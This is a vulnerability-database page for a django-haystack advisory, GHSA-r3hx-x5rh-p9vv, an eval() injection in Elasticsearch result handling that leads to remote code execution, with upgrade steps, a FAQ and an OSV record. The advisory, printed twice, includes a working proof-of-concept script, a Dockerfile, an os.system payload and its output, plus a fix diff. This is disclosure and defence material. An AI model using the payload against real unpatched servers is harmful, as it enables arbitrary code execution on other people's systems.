Vulnerabilities in pkg:pypi/django-haystack

PACKAGE
Advisory Summary

GHSA-r3hx-x5rh-p9vv is a HIGH remote code execution vulnerability (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')) affecting django-haystack libraries in the PyPI ecosystem. The issue involves remote code execution via `eval()` in elasticsearch result deserialization. Remediation is available by upgrading affected packages to version 3.4.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/django-haystack

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/django-haystack. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-r3hx-x5rh-p9vv - HIGH django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization

GHSA-r3hx-x5rh-p9vv at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-r3hx-x5rh-p9vv
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Affected Product django-haystack
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix GHSA-r3hx-x5rh-p9vv

To remediate this vulnerability, upgrade all affected django-haystack dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

django-haystack fixed: 3.4.0
pip install django-haystack>=3.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show django-haystack

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-r3hx-x5rh-p9vv, inspect your installed packages using pip:

pip show django-haystack

Analyze the terminal output to locate any version of django-haystack in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.0), your application is affected.

Note: The pip show django-haystack command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection'), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval"). In django-haystack, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Remote Code Execution via `eval()` in Elasticsearch Result Deserialization ### Summary The Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` → `eval()`. An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: **8.5 (High)**. ### Details **Sink — `haystack/backends/elasticsearch_backend.py:865`:** ```python converted_value = eval(value) ``` `_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__('os').system(...)`, the expression is executed unconditionally. **Root cause — `haystack/backends/elasticsearch_backend.py:727–737`:** ```python for key, value in source.items(): string_key = str(key) if string_key in index.fields and hasattr(index.fields[string_key], "convert"): additional_fields[string_key] = index.fields[string_key].convert(value) else: additional_fields[string_key] = self._to_python(value) ``` `index.fields` is keyed by the *logical* field name (e.g. `"name"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `"name_s"`). Because `"name_s" not in index.fields`, the branch falls through to `self._to_python(value)`. **Data flow (source → sink):** 1. `haystack/indexes.py:226` — `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias. 2. `haystack/backends/elasticsearch_backend.py:218` — prepared data copied into `final_data`. 3. `haystack/backends/elasticsearch_backend.py:236` — `bulk(...)` writes the document to Elasticsearch under the alias key. 4. `haystack/backends/elasticsearch_backend.py:574` — search reads attacker-influenced `_source` back from Elasticsearch. 5. `haystack/backends/elasticsearch_backend.py:720` — `_process_results()` takes `raw_result["_source"]`. 6. `haystack/backends/elasticsearch_backend.py:730` — lookup `string_key in index.fields` fails for alias keys. 7. `haystack/backends/elasticsearch_backend.py:737` — unmatched value passed to `_to_python(value)`. 8. `haystack/backends/elasticsearch_backend.py:865` — **sink**: `converted_value = eval(value)`. **Missing fix:** The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535–539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping. **Preconditions:** - The application uses the Elasticsearch backend. - At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index). - The attacker can trigger or wait for a search that returns the malicious document. ### PoC **Environment setup (Docker):** ```bash # Build the proof-of-concept image docker build -t vuln001-poc \ -f /path/to/vuln-001/Dockerfile \ /path/to/reports/pypiAi_436_django-haystack__django-haystack/ # Run the PoC — exits 0 on confirmed RCE docker run --rm vuln001-poc ``` **Dockerfile** (`vuln-001/Dockerfile`): ```dockerfile FROM python:3.11-slim WORKDIR /app RUN pip install --no-cache-dir setuptools setuptools_scm wheel COPY repo/ /app/repo/ RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` **PoC script** (`vuln-001/poc.py`) — key sections: ```python # SearchField with index_fieldname alias class MockField: index_fieldname = "name_s" # ES key def convert(self, value): return str(value) class MockIndex: fields = {"name": MockField()} # logical key — "name_s" NOT present field_map = {"name_s": "name"} # Malicious payload placed in the alias key of a crafted ES _source response MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) raw_results = {"hits": {"total": 1, "hits": [{ "_score": 1.0, "_source": { "django_ct": "app.model", "django_id": "1", "name_s": payload, # alias key → lookup fails → eval() }, }]}} backend._process_results(raw_results) # Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE" ``` **Observed output (Phase 2 dynamic reproduction):** ``` ============================================================ VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend ============================================================ [*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof') [*] Marker : /tmp/django_haystack_eval_rce_proof [*] Sink : elasticsearch_backend.py:865 eval(value) [+] SUCCESS: RCE CONFIRMED [+] Marker file created: /tmp/django_haystack_eval_rce_proof [+] File content: PWNED_BY_EVAL_RCE RESULT: PASS - VULN-001 is dynamically reproduced and exploitable ``` **Recommended remediation:** ```diff --- a/haystack/backends/elasticsearch_backend.py +++ b/haystack/backends/elasticsearch_backend.py -import re +import ast +import re index = source and unified_index.get_index(model) + index_field_map = index.field_map for key, value in source.items(): string_key = str(key) + if string_key in index_field_map: + string_key = index_field_map[string_key] if string_key in index.fields and hasattr( index.fields[string_key], "convert" - converted_value = eval(value) + converted_value = ast.literal_eval(value) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim WORKDIR /app # Install build tools needed for setuptools_scm RUN pip install --no-cache-dir setuptools setuptools_scm wheel # Copy the django-haystack repository source COPY repo/ /app/repo/ # Install Django and the elasticsearch client RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8" # Install django-haystack from the local repo (editable install) # setuptools_scm requires git metadata; use fallback version instead RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/ # Copy the PoC script COPY vuln-001/poc.py /app/poc.py # Run the PoC by default CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python """ PoC for VULN-001: Arbitrary Code Execution via eval() in ElasticsearchSearchBackend._process_results (django-haystack) Vulnerability: haystack/backends/elasticsearch_backend.py:865 calls eval(value) on Elasticsearch _source field values that do not match any entry in index.fields. This mismatch occurs when a SearchField uses index_fieldname (alias) different from its logical field name: ES stores data under the alias, but the backend looks up fields by logical name, causing unmatched values to fall through to _to_python() -> eval(). Attack path: 1. Attacker controls content that is indexed into Elasticsearch. 2. The Django app has a SearchIndex field with index_fieldname alias. 3. ES stores the document under the alias key. 4. On search, _process_results reads _source where the alias key is NOT found in index.fields (which uses logical names). 5. The value routes to _to_python(value) -> eval(value) -> RCE. This PoC bypasses the need for a live Elasticsearch instance by directly calling _process_results() with a crafted raw result dict. """ import os import sys # --------------------------------------------------------------------------- # 1. Configure Django (no database required) # --------------------------------------------------------------------------- from django.conf import settings if not settings.configured: settings.configure( SECRET_KEY="poc-only-not-for-production", INSTALLED_APPS=[ "django.contrib.contenttypes", "django.contrib.auth", "haystack", ], HAYSTACK_CONNECTIONS={ "default": { "ENGINE": "haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine", "URL": "http://127.0.0.1:9200/", "INDEX_NAME": "poc_index", } }, DATABASES={}, ) import haystack import haystack.backends.elasticsearch_backend as esb # --------------------------------------------------------------------------- # 2. Mock objects to simulate the Haystack/ES environment # --------------------------------------------------------------------------- class MockField: """ Simulates a SearchField declared with an index_fieldname alias. Logical field name: "name" ES storage key (index_fieldname): "name_s" """ index_fieldname = "name_s" def convert(self, value): return str(value) class MockIndex: """ Simulates a SearchIndex. fields: keyed by LOGICAL name ("name") field_map: alias -> logical name (Solr uses this; ES backend does NOT) """ fields = { "name": MockField(), } field_map = {"name_s": "name"} class MockUnifiedIndex: document_field = "text" def get_indexed_models(self): return [object] def get_index(self, model): return MockIndex() class MockConnection: def get_unified_index(self): return MockUnifiedIndex() # Patch the global haystack connections registry so _process_results can # look up the unified index without a real Elasticsearch connection. haystack.connections = {"default": MockConnection()} # Patch the model-lookup helper used inside _process_results. # Returns `object` so the model is found and the result is processed. esb.haystack_get_model = lambda app_label, model_name: object # --------------------------------------------------------------------------- # 3. Build the malicious payload # --------------------------------------------------------------------------- MARKER_FILE = "/tmp/django_haystack_eval_rce_proof" # os.system() returns the exit code (int). The isinstance(int) check in # _to_python() passes, so eval() completes without raising, confirming # full expression execution. The shell command writes the proof file. payload = ( f"__import__('os').system(" f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')" ) # Crafted Elasticsearch raw response: # "name_s" is the index_fieldname alias stored in ES. # "name" is the logical field name present in index.fields. # Because "name_s" != "name", the lookup fails and value goes to eval(). raw_results = { "hits": { "total": 1, "hits": [ { "_score": 1.0, "_source": { "django_ct": "app.model", # required sentinel field "django_id": "1", # required sentinel field "name_s": payload, # alias key -> eval() path }, } ], } } # --------------------------------------------------------------------------- # 4. Instantiate the backend without __init__ (no live ES connection needed) # --------------------------------------------------------------------------- backend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend) backend.connection_alias = "default" backend.include_spelling = False # --------------------------------------------------------------------------- # 5. Trigger the vulnerability # --------------------------------------------------------------------------- print("=" * 60) print("VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend") print("=" * 60) print(f"[*] Payload : {payload}") print(f"[*] Marker : {MARKER_FILE}") print(f"[*] Sink : elasticsearch_backend.py:865 eval(value)") print() # Remove any leftover marker from a previous run if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) try: backend._process_results(raw_results) except Exception as exc: # An exception here does not mean eval() was not called; # the side effect (file write) is the ground truth. print(f"[!] _process_results raised (checking side effects anyway): {exc}") # --------------------------------------------------------------------------- # 6. Verify the side effect # --------------------------------------------------------------------------- print() if os.path.exists(MARKER_FILE): content = open(MARKER_FILE).read().strip() print("[+] SUCCESS: RCE CONFIRMED") print(f"[+] Marker file created: {MARKER_FILE}") print(f"[+] File content: {content}") print() print("RESULT: PASS - VULN-001 is dynamically reproduced and exploitable") sys.exit(0) else: print("[-] FAILURE: Marker file was not created") print("[-] eval() was not triggered or the payload did not execute") print() print("RESULT: FAIL - RCE could not be confirmed") sys.exit(1) ```

GHSA-r3hx-x5rh-p9vv Affected django-haystack Versions

1 component(s)
Fixed Versions:
3.4.0
Product / Package Ecosystem Affected Versions Fixed Version
django-haystack
PyPI
< 3.4.0
3.4.0

References

Frequently Asked Questions

What is GHSA-r3hx-x5rh-p9vv?
GHSA-r3hx-x5rh-p9vv is a security vulnerability in django-haystack involving Remote Code Execution via `eval()` in Elasticsearch Result Deserialization under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').
Which django-haystack versions are affected?
Affected versions include releases prior to 3.4.0 across affected packages: django-haystack.
What version fixes GHSA-r3hx-x5rh-p9vv?
Upgrading to 3.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is django-haystack affected?
Yes, django-haystack is affected in releases prior to 3.4.0. Upgrade your dependency to 3.4.0 or later.
What CWE is associated with GHSA-r3hx-x5rh-p9vv?
GHSA-r3hx-x5rh-p9vv is classified under CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").).
How can I check PyPI dependencies for GHSA-r3hx-x5rh-p9vv?
Run the dependency tree command: 'pip show django-haystack'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r3hx-x5rh-p9vv",
  "modified" : "2026-07-15T22:42:28Z",
  "published" : "2026-07-15T22:42:28Z",
  "aliases" : [ ],
  "summary" : "django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization",
  "details" : "## Remote Code Execution via `eval()` in Elasticsearch Result Deserialization\n\n### Summary\n\nThe Elasticsearch backend in django-haystack calls `eval()` on raw field values returned from Elasticsearch when a `SearchField` is declared with an `index_fieldname` alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to `_to_python()` → `eval()`. An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: **8.5 (High)**.\n\n### Details\n\n**Sink — `haystack/backends/elasticsearch_backend.py:865`:**\n\n```python\nconverted_value = eval(value)\n```\n\n`_to_python()` (line ~850) attempts to parse a string value by calling `eval()` before performing any type-safety check. If the value is an attacker-controlled Python expression such as `__import__('os').system(...)`, the expression is executed unconditionally.\n\n**Root cause — `haystack/backends/elasticsearch_backend.py:727–737`:**\n\n```python\nfor key, value in source.items():\n    string_key = str(key)\n\n    if string_key in index.fields and hasattr(index.fields[string_key], \"convert\"):\n        additional_fields[string_key] = index.fields[string_key].convert(value)\n    else:\n        additional_fields[string_key] = self._to_python(value)\n```\n\n`index.fields` is keyed by the *logical* field name (e.g. `\"name\"`), but Elasticsearch stores the document under the `index_fieldname` alias (e.g. `\"name_s\"`). Because `\"name_s\" not in index.fields`, the branch falls through to `self._to_python(value)`.\n\n**Data flow (source → sink):**\n\n1. `haystack/indexes.py:226` — `self.prepared_data[field.index_fieldname] = field.prepare(obj)` stores data under the alias.\n2. `haystack/backends/elasticsearch_backend.py:218` — prepared data copied into `final_data`.\n3. `haystack/backends/elasticsearch_backend.py:236` — `bulk(...)` writes the document to Elasticsearch under the alias key.\n4. `haystack/backends/elasticsearch_backend.py:574` — search reads attacker-influenced `_source` back from Elasticsearch.\n5. `haystack/backends/elasticsearch_backend.py:720` — `_process_results()` takes `raw_result[\"_source\"]`.\n6. `haystack/backends/elasticsearch_backend.py:730` — lookup `string_key in index.fields` fails for alias keys.\n7. `haystack/backends/elasticsearch_backend.py:737` — unmatched value passed to `_to_python(value)`.\n8. `haystack/backends/elasticsearch_backend.py:865` — **sink**: `converted_value = eval(value)`.\n\n**Missing fix:** The Solr backend correctly remaps aliases at `haystack/backends/solr_backend.py:535–539` using `index.field_map` before performing the `index.fields` lookup. The Elasticsearch backend has no equivalent remapping.\n\n**Preconditions:**\n\n- The application uses the Elasticsearch backend.\n- At least one `SearchField` in a `SearchIndex` is declared with `index_fieldname` set to a value different from the logical attribute name.\n- The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).\n- The attacker can trigger or wait for a search that returns the malicious document.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build the proof-of-concept image\ndocker build -t vuln001-poc \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/reports/pypiAi_436_django-haystack__django-haystack/\n\n# Run the PoC — exits 0 on confirmed RCE\ndocker run --rm vuln001-poc\n```\n\n**Dockerfile** (`vuln-001/Dockerfile`):\n\n```dockerfile\nFROM python:3.11-slim\nWORKDIR /app\nRUN pip install --no-cache-dir setuptools setuptools_scm wheel\nCOPY repo/ /app/repo/\nRUN pip install --no-cache-dir \"Django>=4.2\" \"elasticsearch>=5,<8\"\nRUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n**PoC script** (`vuln-001/poc.py`) — key sections:\n\n```python\n# SearchField with index_fieldname alias\nclass MockField:\n    index_fieldname = \"name_s\"   # ES key\n    def convert(self, value): return str(value)\n\nclass MockIndex:\n    fields = {\"name\": MockField()}   # logical key — \"name_s\" NOT present\n    field_map = {\"name_s\": \"name\"}\n\n# Malicious payload placed in the alias key of a crafted ES _source response\nMARKER_FILE = \"/tmp/django_haystack_eval_rce_proof\"\npayload = (\n    f\"__import__('os').system(\"\n    f\"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')\"\n)\n\nraw_results = {\"hits\": {\"total\": 1, \"hits\": [{\n    \"_score\": 1.0,\n    \"_source\": {\n        \"django_ct\": \"app.model\",\n        \"django_id\": \"1\",\n        \"name_s\": payload,   # alias key → lookup fails → eval()\n    },\n}]}}\n\nbackend._process_results(raw_results)\n# Confirms RCE: /tmp/django_haystack_eval_rce_proof contains \"PWNED_BY_EVAL_RCE\"\n```\n\n**Observed output (Phase 2 dynamic reproduction):**\n\n```\n============================================================\nVULN-001 PoC: eval() RCE in ElasticsearchSearchBackend\n============================================================\n[*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof')\n[*] Marker  : /tmp/django_haystack_eval_rce_proof\n[*] Sink    : elasticsearch_backend.py:865  eval(value)\n\n[+] SUCCESS: RCE CONFIRMED\n[+] Marker file created: /tmp/django_haystack_eval_rce_proof\n[+] File content: PWNED_BY_EVAL_RCE\n\nRESULT: PASS - VULN-001 is dynamically reproduced and exploitable\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/haystack/backends/elasticsearch_backend.py\n+++ b/haystack/backends/elasticsearch_backend.py\n-import re\n+import ast\n+import re\n \n             index = source and unified_index.get_index(model)\n+            index_field_map = index.field_map\n             for key, value in source.items():\n                 string_key = str(key)\n+                if string_key in index_field_map:\n+                    string_key = index_field_map[string_key]\n \n                 if string_key in index.fields and hasattr(\n                     index.fields[string_key], \"convert\"\n \n-            converted_value = eval(value)\n+            converted_value = ast.literal_eval(value)\n```\n\n### Impact\n\nThis is a **Remote Code Execution (RCE)** vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with `index_fieldname` aliasing, regardless of how authentication is configured by the application.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install build tools needed for setuptools_scm\nRUN pip install --no-cache-dir setuptools setuptools_scm wheel\n\n# Copy the django-haystack repository source\nCOPY repo/ /app/repo/\n\n# Install Django and the elasticsearch client\nRUN pip install --no-cache-dir \"Django>=4.2\" \"elasticsearch>=5,<8\"\n\n# Install django-haystack from the local repo (editable install)\n# setuptools_scm requires git metadata; use fallback version instead\nRUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC for VULN-001: Arbitrary Code Execution via eval() in\nElasticsearchSearchBackend._process_results (django-haystack)\n\nVulnerability:\n    haystack/backends/elasticsearch_backend.py:865 calls eval(value) on\n    Elasticsearch _source field values that do not match any entry in\n    index.fields. This mismatch occurs when a SearchField uses\n    index_fieldname (alias) different from its logical field name: ES stores\n    data under the alias, but the backend looks up fields by logical name,\n    causing unmatched values to fall through to _to_python() -> eval().\n\nAttack path:\n    1. Attacker controls content that is indexed into Elasticsearch.\n    2. The Django app has a SearchIndex field with index_fieldname alias.\n    3. ES stores the document under the alias key.\n    4. On search, _process_results reads _source where the alias key is NOT\n       found in index.fields (which uses logical names).\n    5. The value routes to _to_python(value) -> eval(value) -> RCE.\n\nThis PoC bypasses the need for a live Elasticsearch instance by directly\ncalling _process_results() with a crafted raw result dict.\n\"\"\"\n\nimport os\nimport sys\n\n# ---------------------------------------------------------------------------\n# 1. Configure Django (no database required)\n# ---------------------------------------------------------------------------\nfrom django.conf import settings\n\nif not settings.configured:\n    settings.configure(\n        SECRET_KEY=\"poc-only-not-for-production\",\n        INSTALLED_APPS=[\n            \"django.contrib.contenttypes\",\n            \"django.contrib.auth\",\n            \"haystack\",\n        ],\n        HAYSTACK_CONNECTIONS={\n            \"default\": {\n                \"ENGINE\": \"haystack.backends.elasticsearch_backend.ElasticsearchSearchEngine\",\n                \"URL\": \"http://127.0.0.1:9200/\",\n                \"INDEX_NAME\": \"poc_index\",\n            }\n        },\n        DATABASES={},\n    )\n\nimport haystack\nimport haystack.backends.elasticsearch_backend as esb\n\n# ---------------------------------------------------------------------------\n# 2. Mock objects to simulate the Haystack/ES environment\n# ---------------------------------------------------------------------------\n\nclass MockField:\n    \"\"\"\n    Simulates a SearchField declared with an index_fieldname alias.\n    Logical field name: \"name\"\n    ES storage key (index_fieldname): \"name_s\"\n    \"\"\"\n    index_fieldname = \"name_s\"\n\n    def convert(self, value):\n        return str(value)\n\n\nclass MockIndex:\n    \"\"\"\n    Simulates a SearchIndex.\n    fields: keyed by LOGICAL name (\"name\")\n    field_map: alias -> logical name  (Solr uses this; ES backend does NOT)\n    \"\"\"\n    fields = {\n        \"name\": MockField(),\n    }\n    field_map = {\"name_s\": \"name\"}\n\n\nclass MockUnifiedIndex:\n    document_field = \"text\"\n\n    def get_indexed_models(self):\n        return [object]\n\n    def get_index(self, model):\n        return MockIndex()\n\n\nclass MockConnection:\n    def get_unified_index(self):\n        return MockUnifiedIndex()\n\n\n# Patch the global haystack connections registry so _process_results can\n# look up the unified index without a real Elasticsearch connection.\nhaystack.connections = {\"default\": MockConnection()}\n\n# Patch the model-lookup helper used inside _process_results.\n# Returns `object` so the model is found and the result is processed.\nesb.haystack_get_model = lambda app_label, model_name: object\n\n# ---------------------------------------------------------------------------\n# 3. Build the malicious payload\n# ---------------------------------------------------------------------------\nMARKER_FILE = \"/tmp/django_haystack_eval_rce_proof\"\n\n# os.system() returns the exit code (int). The isinstance(int) check in\n# _to_python() passes, so eval() completes without raising, confirming\n# full expression execution. The shell command writes the proof file.\npayload = (\n    f\"__import__('os').system(\"\n    f\"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')\"\n)\n\n# Crafted Elasticsearch raw response:\n#   \"name_s\" is the index_fieldname alias stored in ES.\n#   \"name\" is the logical field name present in index.fields.\n#   Because \"name_s\" != \"name\", the lookup fails and value goes to eval().\nraw_results = {\n    \"hits\": {\n        \"total\": 1,\n        \"hits\": [\n            {\n                \"_score\": 1.0,\n                \"_source\": {\n                    \"django_ct\": \"app.model\",   # required sentinel field\n                    \"django_id\": \"1\",           # required sentinel field\n                    \"name_s\": payload,          # alias key -> eval() path\n                },\n            }\n        ],\n    }\n}\n\n# ---------------------------------------------------------------------------\n# 4. Instantiate the backend without __init__ (no live ES connection needed)\n# ---------------------------------------------------------------------------\nbackend = esb.ElasticsearchSearchBackend.__new__(esb.ElasticsearchSearchBackend)\nbackend.connection_alias = \"default\"\nbackend.include_spelling = False\n\n# ---------------------------------------------------------------------------\n# 5. Trigger the vulnerability\n# ---------------------------------------------------------------------------\nprint(\"=\" * 60)\nprint(\"VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend\")\nprint(\"=\" * 60)\nprint(f\"[*] Payload : {payload}\")\nprint(f\"[*] Marker  : {MARKER_FILE}\")\nprint(f\"[*] Sink    : elasticsearch_backend.py:865  eval(value)\")\nprint()\n\n# Remove any leftover marker from a previous run\nif os.path.exists(MARKER_FILE):\n    os.remove(MARKER_FILE)\n\ntry:\n    backend._process_results(raw_results)\nexcept Exception as exc:\n    # An exception here does not mean eval() was not called;\n    # the side effect (file write) is the ground truth.\n    print(f\"[!] _process_results raised (checking side effects anyway): {exc}\")\n\n# ---------------------------------------------------------------------------\n# 6. Verify the side effect\n# ---------------------------------------------------------------------------\nprint()\nif os.path.exists(MARKER_FILE):\n    content = open(MARKER_FILE).read().strip()\n    print(\"[+] SUCCESS: RCE CONFIRMED\")\n    print(f\"[+] Marker file created: {MARKER_FILE}\")\n    print(f\"[+] File content: {content}\")\n    print()\n    print(\"RESULT: PASS - VULN-001 is dynamically reproduced and exploitable\")\n    sys.exit(0)\nelse:\n    print(\"[-] FAILURE: Marker file was not created\")\n    print(\"[-] eval() was not triggered or the payload did not execute\")\n    print()\n    print(\"RESULT: FAIL - RCE could not be confirmed\")\n    sys.exit(1)\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "django-haystack"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/django-haystack/django-haystack/security/advisories/GHSA-r3hx-x5rh-p9vv"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/django-haystack/django-haystack/commit/eb05f193c9771a68dcc8cfac6674a0d48a52ee9d"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/django-haystack/django-haystack"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/django-haystack/django-haystack/releases/tag/v3.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-95" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-15T22:42:28Z",
    "nvd_published_at" : null
  }
}